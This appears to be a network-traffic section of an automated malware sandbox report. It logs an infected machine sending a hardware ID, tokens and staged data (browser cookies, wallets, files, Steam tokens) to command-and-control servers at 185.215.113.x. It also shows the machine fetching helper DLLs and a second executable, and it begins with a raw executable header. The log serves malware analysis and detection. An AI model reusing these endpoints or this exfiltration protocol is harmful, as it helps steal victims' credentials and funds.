Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 06 Dec 2024 23:17:10 GMTContent-Type: application/octet-streamContent-Length: 1849344Last-Modified: Fri, 06 Dec 2024 23:05:55 GMTConnection: keep-aliveETag: "67538353-1c3800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 a2 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 32 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 46 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 40 05 00 00 02 00 00 00 48 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 79 6d 6a 65 75 6c 71 00 d0 19 00 00 70 2f 00 00 c8 19 00 00 4a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 72 6a 6a 7a 6a 76 78 00 10 00 00 00 40 49 00 00 04 00 00 00 12 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 16 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 34 42 44 31 39 44 38 33 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="hwid"4E4BD19D836E2371543510------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="build"drum------AFCFHDHIIIECBGCAKFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="message"browsers------AECAKJJECAEGCBGDHDHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="message"plugins------BGHJJDGHCBGDHIECBGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="message"fplugins------DAKFIDHDGIEGCAKFIIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 185.215.113.206Content-Length: 6119Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHCHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCAECAKKFBGCBGDGIEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file"------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file"------IJEGHJECFCFCBFIDBGCG--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"wallets------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="message"files------HIDGCFBFBFBKEBGCAFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file"------JEBKEHJJDAAAAKECBGHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 2d 2d 0d 0a Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="message"ybncbhylepme------HDBGHIDGDGHCBGDGCBFI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHIDAFCGIEHIEBFCFBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
